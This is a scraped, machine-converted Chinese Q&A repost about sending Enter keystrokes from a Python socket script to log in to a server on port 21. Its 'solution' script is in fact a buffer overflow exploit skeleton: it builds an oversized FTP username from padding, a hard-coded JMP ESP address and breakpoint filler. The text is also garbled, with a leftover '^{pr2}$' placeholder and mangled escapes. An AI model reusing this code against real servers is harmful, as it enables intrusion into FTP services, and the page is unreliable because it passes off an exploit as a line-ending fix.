python模拟输入回车键_Python模拟回车键
我編寫了一個簡單的Python腳本,它應該使用用戶名和密碼連接到Telnet服務器。在
腳本如下:#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
password = "whatever"
username = "whatever"
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect.connect((hostname, 21))
except:
print "[-] connection error"
response = connect.recv(2000)
print response
sys.exit(1)
connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response
connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response
connect.close()
錯誤是:
連接正常,但我無法用以下命令模擬enter鍵:
^{pr2}$
那為什么不起作用呢?
謝謝:)
編輯解決方案:#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
password = "whatever"
jmpesp= "\xED\x1E\x94\x7C"
username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect.connect((hostname, 21))
except:
print "[-] Verbindungs Fehler"
response = connect.recv(2000)
print response
sys.exit(1)
connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response
connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response
connect.close()
總結
以上是生活随笔為你收集整理的python模拟输入回车键_Python模拟回车键的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 高调华美戒指 流动于指间的时尚
- 下一篇: 51自学网php视频教程全集,51自学网